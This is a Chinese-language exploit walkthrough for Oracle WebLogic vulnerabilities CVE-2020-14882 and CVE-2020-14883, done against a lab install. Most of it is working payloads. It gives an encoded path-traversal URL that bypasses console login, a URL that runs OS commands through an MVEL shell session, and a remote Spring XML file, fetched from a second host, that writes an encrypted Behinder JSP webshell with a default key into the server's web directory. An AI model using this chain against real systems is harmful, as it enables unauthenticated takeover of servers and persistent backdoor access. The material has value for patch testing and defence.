漏洞簡介
遠程代碼執行漏洞 (CVE-2020-14882)POC 已被公開,未經身份驗證的遠程攻擊者可通過構造特殊的 HTTP GET 請求,結合 CVE-2020-14883 漏洞進行利用,利用此漏洞可在未經身份驗證的情況下直接接管 WebLogic Server Console ,並執行任意代碼,利用門檻低,危害巨大。
影響版本
Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。
環境搭建
0x01weblogic安裝
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
0x02創建域
0x03啟動weblogic
輸入創建域時的用戶名和密碼啟動服務
進入console頁面
漏洞利用
0x01越權
URL加入payload,可以直接進入后台
http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=AppDeploymentsControlPage
&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
0x02命令執行
例如彈出記事本
http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=HomePage1
&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27notepad.exe%27);%22)
通過FileSystemXmlApplicationContext()
載並執行遠端xml文件:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[echo "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"
> "../../../wlserver/server/lib/consoleapp/webapp/images/shell.jsp"]]></value>
</list>
</constructor-arg>
</bean>
</beans>
將poc.xml放入遠端web服務器
執行payload
http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=
&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.7/poc.xml")
打開冰蠍,連接webshell